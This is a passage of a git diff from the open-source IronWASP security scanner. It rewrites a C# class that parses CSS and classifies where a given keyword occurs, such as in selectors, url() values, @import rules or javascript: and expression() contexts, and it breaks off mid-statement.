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 + + + \ No newline at end of file diff --git a/IronWASP/IronCss.cs b/Iron/IronCss.cs similarity index 97% rename from IronWASP/IronCss.cs rename to Iron/IronCss.cs index a6002cd..506ba12 100644 --- a/IronWASP/IronCss.cs +++ b/Iron/IronCss.cs @@ -1,455 +1,455 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class IronCss - { - - public static CssFx.CssStyleSheet Parse(string Css) - { - try - { - CssFx.CssParser Parser = new CssFx.CssParser("", Css); - Parser.ParseStyleSheet(); - CssFx.CssStyleSheet ParsedCss = Parser.StyleSheet; - return ParsedCss; - } - catch - { - return null; - } - } - - - public static List GetContext(string Css, string Keyword) - { - List Contexts = new List(); - CssFx.CssParser Parser = new CssFx.CssParser("", Css); - Parser.ParseStyleSheet(); - CssFx.CssStyleSheet ParsedCss = Parser.StyleSheet; - foreach(CssFx.CssStatement Stmt in ParsedCss.Statements) - { - switch (Stmt.GetType().Name) - { - case("CssRuleSet"): - Contexts.AddRange(GetContext((CssFx.CssRuleSet)Stmt, Keyword)); - break; - case("CssAtRule"): - Contexts.AddRange(GetContext((CssFx.CssAtRule)Stmt, Keyword)); - break; - } - } - foreach (string Comment in ParsedCss.Comments) - { - if (Comment.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add("Comment"); - } - } - return Contexts; - } - - static List GetContext(CssFx.CssRuleSet Stmt, string Keyword) - { - List Contexts = new List(); - foreach (CssFx.CssSelector Selector in Stmt.Selectors) - { - if (Selector.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - string SelectorValue = Selector.Value.Trim(); - Contexts.AddRange(GetSelectorContext(SelectorValue, Keyword)); - } - } - foreach (CssFx.CssDeclaration Declaration in Stmt.Declarations) - { - Contexts.AddRange(GetDeclarationContext(Declaration, Keyword)); - } - - //Contexts.Add("RuleSet"); - return Contexts; - } - - static List GetContext(CssFx.CssAtRule Stmt, string Keyword) - { - List Contexts = new List(); - bool Import = false; - if(Stmt.Ident.Equals("import", StringComparison.OrdinalIgnoreCase)) - { - Import = true; - } - if (Stmt.Ident.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Ident-Ident-{0}", GetPosition(Stmt.Ident, Keyword))); - } - if (Stmt.Value != null) - { - if (Stmt.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - if (Import) - { - Contexts.AddRange(GetImportIdentContext(Stmt.Value, Keyword)); - } - else if (Stmt.Ident.Equals("media", StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(string.Format("Ident-MediaValue-{0}", GetPosition(Stmt.Ident, Keyword))); - } - } - } - foreach (CssFx.ICssValue Value in Stmt.Block.Values) - { - try - { - CssFx.CssDeclaration Declaration = (CssFx.CssDeclaration)Value; - Contexts.AddRange(GetDeclarationContext(Declaration, Keyword)); - }catch{} - } - return Contexts; - } - - static List GetDeclarationContext(CssFx.CssDeclaration Declaration, string Keyword) - { - List Contexts = new List(); - if (Declaration.Property.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Property-{0}", GetPosition(Declaration.Property, Keyword))); - } - foreach (CssFx.CssString Value in Declaration.Value.Values) - { - if (Value.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.AddRange(GetValueContext(Value.Value, Keyword)); - //Contexts.Add("Value"); - } - } - return Contexts; - } - - static List GetImportIdentContext(string IdentValue, string Keyword) - { - List Contexts = new List(); - IdentValue = IdentValue.ToLower().Trim(); - Keyword = Keyword.ToLower().Trim(); - - if (IdentValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - if (IdentValue.StartsWith("url(", StringComparison.OrdinalIgnoreCase) && IdentValue.EndsWith(")")) - { - string UrlValue = IdentValue.Substring(4, IdentValue.Length - 5).Trim(); - string QuoteType = GetQuoteType(UrlValue); - UrlValue = TrimQuote(UrlValue, QuoteType); - Contexts.Add(string.Format("Import-Url-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); - - if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSValue = UrlValue.Substring(11); - if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Import-UrlJS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); - } - } - } - else - { - string QuoteType = GetQuoteType(IdentValue); - string UrlValue = TrimQuote(IdentValue, QuoteType); - Contexts.Add(string.Format("Import-Raw-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); - - if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSValue = UrlValue.Substring(11); - if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Import-UrlJS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); - } - } - } - } - return Contexts; - } - - static List GetSelectorContext(string Value, string Keyword) - { - List Contexts = new List(); - string Token = ""; - - Value = Value.Trim(); - - int SquareStart = Value.IndexOf('['); - //if (SquareStart > 0 && Value[SquareStart - 1] == '\\') SquareStart = -1; - int RoundStart = Value.IndexOf('('); - //if (RoundStart > 0 && Value[RoundStart - 1] == '\\') RoundStart = -1; - //int SingleQuoteStart = Value.IndexOf('\''); - //if (SingleQuoteStart > 0 && Value[SingleQuoteStart - 1] == '\\') SingleQuoteStart = -1; - //int DoubleQuoteStart = Value.IndexOf('"'); - //if (DoubleQuoteStart > 0 && Value[DoubleQuoteStart - 1] == '\\') DoubleQuoteStart = -1; - - string Prefix = ""; - - if (SquareStart == -1 && RoundStart == -1) - { - Prefix = Value; - } - else if (SquareStart > -1 && ((RoundStart > SquareStart) || (RoundStart == -1))) - { - Prefix = Value.Substring(0, SquareStart); - Token = Value.Substring(SquareStart).TrimStart('[').TrimEnd(']'); - if (Token.Length > 0) - { - if (Token.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.AddRange(GetSquareBracketSelectorContext(Token, Keyword)); - } - } - } - else if (RoundStart > -1 && ((SquareStart > RoundStart) || (SquareStart == -1))) - { - Prefix = Value.Substring(0, RoundStart); - Token = Value.Substring(RoundStart).TrimStart('(').TrimEnd(')'); - if (Token.Length > 0) - { - if(Token.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Selector-Round-{0}", GetPosition(Token, Keyword))); - } - } - } - - if (Prefix.Length > 0) - { - if (Prefix.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Selector-Normal-{0}", GetPosition(Prefix, Keyword))); - } - } - - return Contexts; - } - - static List GetSquareBracketSelectorContext(string Value, string Keyword) - { - List Contexts = new List(); - string[] KV = Value.Split(new char[] { '=' }, 2); - if (KV.Length > 0) - { - if (KV[0].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Selector-SquareKey-{0}", GetPosition(KV[0], Keyword))); - } - } - if(KV.Length == 2) - { - if (KV[1].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - string QuoteType = GetQuoteType(KV[1]); - Contexts.Add(string.Format("Selector-SquareValue-{0}-{1}", GetPosition(TrimQuote(KV[1], QuoteType), Keyword), QuoteType)); - } - } - return Contexts; - } - - static List GetValueContext(string Value, string Keyword) - { - List Contexts = new List(); - List Values = new List(); - Value = Value.Trim(); - string Quote = ""; - bool InQuote = false; - int LastEscacpe = 0; - List TokenChars = new List(); - for (int i = 0; i < Value.Length; i++) - { - if (Value[i] == '\\') - { - TokenChars.Add(Value[i]); - LastEscacpe = i; - } - else if (Value[i] == '\'' || Value[i] == '"') - { - string CurrentChar = Value[i].ToString(); - //CheckQuoteStatus(string CurrentChar, bool InQuote, string CurrentQuote, bool IsEscaped); - string QuoteStatus = CheckQuoteStatus(CurrentChar, InQuote, Quote, (LastEscacpe == i - 1)); - switch (QuoteStatus) - { - case ("Start"): - InQuote = true; - //string NormalString = new string(TokenChars.ToArray()); - //NormalString = NormalString.Trim().Trim(',').Trim(); - //Values.Add(NormalString); - //TokenChars.Clear(); - Quote = CurrentChar; - TokenChars.Add(Value[i]); - break; - case ("End"): - InQuote = false; - TokenChars.Add(Value[i]); - //string QuotedString = new string(TokenChars.ToArray()); - //QuotedString = QuotedString.Trim().Trim(',').Trim(); - //Values.Add(QuotedString); - //TokenChars.Clear(); - Quote = ""; - break; - case ("None"): - TokenChars.Add(Value[i]); - break; - } - } - else if (Value[i] == ' ' || Value[i] == ',') - { - if (InQuote) - { - TokenChars.Add(Value[i]); - } - else - { - string NormalString = new string(TokenChars.ToArray()); - NormalString = NormalString.Trim().Trim(',').Trim(); - Values.Add(NormalString); - TokenChars.Clear(); - } - } - else - { - TokenChars.Add(Value[i]); - } - } - string LastNormalString = new string(TokenChars.ToArray()); - Values.Add(LastNormalString); - for (int i = 0; i < Values.Count; i++) - { - string QuoteType = ""; - if (Values[i].StartsWith("url(", StringComparison.OrdinalIgnoreCase) && Values[i].EndsWith(")")) - { - string UrlValue = Values[i].Substring(4).TrimEnd(')'); - if (UrlValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - QuoteType = GetQuoteType(UrlValue); - UrlValue = TrimQuote(UrlValue, QuoteType); - Contexts.Add(string.Format("Value-Url-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); - } - - if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSValue = UrlValue.Substring(11); - if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Contexts.Add(string.Format("Value-JS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); - } - } - } - else if (Values[i].StartsWith("expression(", StringComparison.OrdinalIgnoreCase) && Values[i].EndsWith(")")) - { - string JSValue = Values[i].Substring(11).TrimEnd(')'); - if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - QuoteType = GetQuoteType(JSValue); - Contexts.Add(string.Format("Value-JS-{0}-{1}", GetPosition(TrimQuote(JSValue, QuoteType), Keyword), QuoteType)); - } - } - else - { - if (Values[i].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - QuoteType = GetQuoteType(Values[i]); - Contexts.Add(string.Format("Value-Normal-{0}-{1}", GetPosition(TrimQuote(Values[i], QuoteType), Keyword), QuoteType)); - if (Values.Count == 1) - { - Contexts.Add(string.Format("Value-OnlyNormal-{0}-{1}", GetPosition(TrimQuote(Values[i], QuoteType), Keyword), QuoteType)); - } - } - } - } - return Contexts; - } - - static string CheckQuoteStatus(string CurrentChar, bool InQuote, string CurrentQuote, bool IsEscaped) - { - if (IsEscaped) return "None"; - if (InQuote) - { - if (CurrentChar == CurrentQuote) - return "End"; - else - return "None"; - } - else - { - return "Start"; - } - } - - static string GetQuoteType(string Value) - { - Value = Value.Trim(); - string Quote = ""; - if (Value.StartsWith("\"")) - { - Quote = "Double"; - - } - else if (Value.StartsWith("'")) - { - Quote = "Single"; - } - else - { - Quote = "None"; - } - return Quote; - } - - static string TrimQuote(string Value, string Quote) - { - if (Quote.Equals("Double")) - { - Value = Value.Trim().Trim('"').Trim(); - } - else if (Quote.Equals("Single")) - { - Value = Value.Trim().Trim('\'').Trim(); - } - return Value.Trim(); - } - - static string GetPosition(string Value, string Keyword) - { - string Position = ""; - if (Value.Equals(Keyword, StringComparison.OrdinalIgnoreCase)) - { - Position = "Full"; - } - else if (Value.StartsWith(Keyword, StringComparison.OrdinalIgnoreCase)) - { - Position = "Start"; - } - else if (Value.EndsWith(Keyword, StringComparison.OrdinalIgnoreCase)) - { - Position = "End"; - } - else if (Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) - { - Position = "In"; - } - return Position; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class IronCss + { + + public static CssFx.CssStyleSheet Parse(string Css) + { + try + { + CssFx.CssParser Parser = new CssFx.CssParser("", Css); + Parser.ParseStyleSheet(); + CssFx.CssStyleSheet ParsedCss = Parser.StyleSheet; + return ParsedCss; + } + catch + { + return null; + } + } + + + public static List GetContext(string Css, string Keyword) + { + List Contexts = new List(); + CssFx.CssParser Parser = new CssFx.CssParser("", Css); + Parser.ParseStyleSheet(); + CssFx.CssStyleSheet ParsedCss = Parser.StyleSheet; + foreach(CssFx.CssStatement Stmt in ParsedCss.Statements) + { + switch (Stmt.GetType().Name) + { + case("CssRuleSet"): + Contexts.AddRange(GetContext((CssFx.CssRuleSet)Stmt, Keyword)); + break; + case("CssAtRule"): + Contexts.AddRange(GetContext((CssFx.CssAtRule)Stmt, Keyword)); + break; + } + } + foreach (string Comment in ParsedCss.Comments) + { + if (Comment.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add("Comment"); + } + } + return Contexts; + } + + static List GetContext(CssFx.CssRuleSet Stmt, string Keyword) + { + List Contexts = new List(); + foreach (CssFx.CssSelector Selector in Stmt.Selectors) + { + if (Selector.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + string SelectorValue = Selector.Value.Trim(); + Contexts.AddRange(GetSelectorContext(SelectorValue, Keyword)); + } + } + foreach (CssFx.CssDeclaration Declaration in Stmt.Declarations) + { + Contexts.AddRange(GetDeclarationContext(Declaration, Keyword)); + } + + //Contexts.Add("RuleSet"); + return Contexts; + } + + static List GetContext(CssFx.CssAtRule Stmt, string Keyword) + { + List Contexts = new List(); + bool Import = false; + if(Stmt.Ident.Equals("import", StringComparison.OrdinalIgnoreCase)) + { + Import = true; + } + if (Stmt.Ident.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Ident-Ident-{0}", GetPosition(Stmt.Ident, Keyword))); + } + if (Stmt.Value != null) + { + if (Stmt.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + if (Import) + { + Contexts.AddRange(GetImportIdentContext(Stmt.Value, Keyword)); + } + else if (Stmt.Ident.Equals("media", StringComparison.OrdinalIgnoreCase)) + { + Contexts.Add(string.Format("Ident-MediaValue-{0}", GetPosition(Stmt.Ident, Keyword))); + } + } + } + foreach (CssFx.ICssValue Value in Stmt.Block.Values) + { + try + { + CssFx.CssDeclaration Declaration = (CssFx.CssDeclaration)Value; + Contexts.AddRange(GetDeclarationContext(Declaration, Keyword)); + }catch{} + } + return Contexts; + } + + static List GetDeclarationContext(CssFx.CssDeclaration Declaration, string Keyword) + { + List Contexts = new List(); + if (Declaration.Property.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Property-{0}", GetPosition(Declaration.Property, Keyword))); + } + foreach (CssFx.CssString Value in Declaration.Value.Values) + { + if (Value.Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.AddRange(GetValueContext(Value.Value, Keyword)); + //Contexts.Add("Value"); + } + } + return Contexts; + } + + static List GetImportIdentContext(string IdentValue, string Keyword) + { + List Contexts = new List(); + IdentValue = IdentValue.ToLower().Trim(); + Keyword = Keyword.ToLower().Trim(); + + if (IdentValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + if (IdentValue.StartsWith("url(", StringComparison.OrdinalIgnoreCase) && IdentValue.EndsWith(")")) + { + string UrlValue = IdentValue.Substring(4, IdentValue.Length - 5).Trim(); + string QuoteType = GetQuoteType(UrlValue); + UrlValue = TrimQuote(UrlValue, QuoteType); + Contexts.Add(string.Format("Import-Url-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); + + if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSValue = UrlValue.Substring(11); + if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Import-UrlJS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); + } + } + } + else + { + string QuoteType = GetQuoteType(IdentValue); + string UrlValue = TrimQuote(IdentValue, QuoteType); + Contexts.Add(string.Format("Import-Raw-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); + + if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSValue = UrlValue.Substring(11); + if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Import-UrlJS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); + } + } + } + } + return Contexts; + } + + static List GetSelectorContext(string Value, string Keyword) + { + List Contexts = new List(); + string Token = ""; + + Value = Value.Trim(); + + int SquareStart = Value.IndexOf('['); + //if (SquareStart > 0 && Value[SquareStart - 1] == '\\') SquareStart = -1; + int RoundStart = Value.IndexOf('('); + //if (RoundStart > 0 && Value[RoundStart - 1] == '\\') RoundStart = -1; + //int SingleQuoteStart = Value.IndexOf('\''); + //if (SingleQuoteStart > 0 && Value[SingleQuoteStart - 1] == '\\') SingleQuoteStart = -1; + //int DoubleQuoteStart = Value.IndexOf('"'); + //if (DoubleQuoteStart > 0 && Value[DoubleQuoteStart - 1] == '\\') DoubleQuoteStart = -1; + + string Prefix = ""; + + if (SquareStart == -1 && RoundStart == -1) + { + Prefix = Value; + } + else if (SquareStart > -1 && ((RoundStart > SquareStart) || (RoundStart == -1))) + { + Prefix = Value.Substring(0, SquareStart); + Token = Value.Substring(SquareStart).TrimStart('[').TrimEnd(']'); + if (Token.Length > 0) + { + if (Token.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.AddRange(GetSquareBracketSelectorContext(Token, Keyword)); + } + } + } + else if (RoundStart > -1 && ((SquareStart > RoundStart) || (SquareStart == -1))) + { + Prefix = Value.Substring(0, RoundStart); + Token = Value.Substring(RoundStart).TrimStart('(').TrimEnd(')'); + if (Token.Length > 0) + { + if(Token.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Selector-Round-{0}", GetPosition(Token, Keyword))); + } + } + } + + if (Prefix.Length > 0) + { + if (Prefix.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Selector-Normal-{0}", GetPosition(Prefix, Keyword))); + } + } + + return Contexts; + } + + static List GetSquareBracketSelectorContext(string Value, string Keyword) + { + List Contexts = new List(); + string[] KV = Value.Split(new char[] { '=' }, 2); + if (KV.Length > 0) + { + if (KV[0].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Selector-SquareKey-{0}", GetPosition(KV[0], Keyword))); + } + } + if(KV.Length == 2) + { + if (KV[1].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + string QuoteType = GetQuoteType(KV[1]); + Contexts.Add(string.Format("Selector-SquareValue-{0}-{1}", GetPosition(TrimQuote(KV[1], QuoteType), Keyword), QuoteType)); + } + } + return Contexts; + } + + static List GetValueContext(string Value, string Keyword) + { + List Contexts = new List(); + List Values = new List(); + Value = Value.Trim(); + string Quote = ""; + bool InQuote = false; + int LastEscacpe = 0; + List TokenChars = new List(); + for (int i = 0; i < Value.Length; i++) + { + if (Value[i] == '\\') + { + TokenChars.Add(Value[i]); + LastEscacpe = i; + } + else if (Value[i] == '\'' || Value[i] == '"') + { + string CurrentChar = Value[i].ToString(); + //CheckQuoteStatus(string CurrentChar, bool InQuote, string CurrentQuote, bool IsEscaped); + string QuoteStatus = CheckQuoteStatus(CurrentChar, InQuote, Quote, (LastEscacpe == i - 1)); + switch (QuoteStatus) + { + case ("Start"): + InQuote = true; + //string NormalString = new string(TokenChars.ToArray()); + //NormalString = NormalString.Trim().Trim(',').Trim(); + //Values.Add(NormalString); + //TokenChars.Clear(); + Quote = CurrentChar; + TokenChars.Add(Value[i]); + break; + case ("End"): + InQuote = false; + TokenChars.Add(Value[i]); + //string QuotedString = new string(TokenChars.ToArray()); + //QuotedString = QuotedString.Trim().Trim(',').Trim(); + //Values.Add(QuotedString); + //TokenChars.Clear(); + Quote = ""; + break; + case ("None"): + TokenChars.Add(Value[i]); + break; + } + } + else if (Value[i] == ' ' || Value[i] == ',') + { + if (InQuote) + { + TokenChars.Add(Value[i]); + } + else + { + string NormalString = new string(TokenChars.ToArray()); + NormalString = NormalString.Trim().Trim(',').Trim(); + Values.Add(NormalString); + TokenChars.Clear(); + } + } + else + { + TokenChars.Add(Value[i]); + } + } + string LastNormalString = new string(TokenChars.ToArray()); + Values.Add(LastNormalString); + for (int i = 0; i < Values.Count; i++) + { + string QuoteType = ""; + if (Values[i].StartsWith("url(", StringComparison.OrdinalIgnoreCase) && Values[i].EndsWith(")")) + { + string UrlValue = Values[i].Substring(4).TrimEnd(')'); + if (UrlValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + QuoteType = GetQuoteType(UrlValue); + UrlValue = TrimQuote(UrlValue, QuoteType); + Contexts.Add(string.Format("Value-Url-{0}-{1}", GetPosition(UrlValue, Keyword), QuoteType)); + } + + if (UrlValue.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + string JSValue = UrlValue.Substring(11); + if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Contexts.Add(string.Format("Value-JS-{0}-{1}", GetPosition(JSValue, Keyword), QuoteType)); + } + } + } + else if (Values[i].StartsWith("expression(", StringComparison.OrdinalIgnoreCase) && Values[i].EndsWith(")")) + { + string JSValue = Values[i].Substring(11).TrimEnd(')'); + if (JSValue.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + QuoteType = GetQuoteType(JSValue); + Contexts.Add(string.Format("Value-JS-{0}-{1}", GetPosition(TrimQuote(JSValue, QuoteType), Keyword), QuoteType)); + } + } + else + { + if 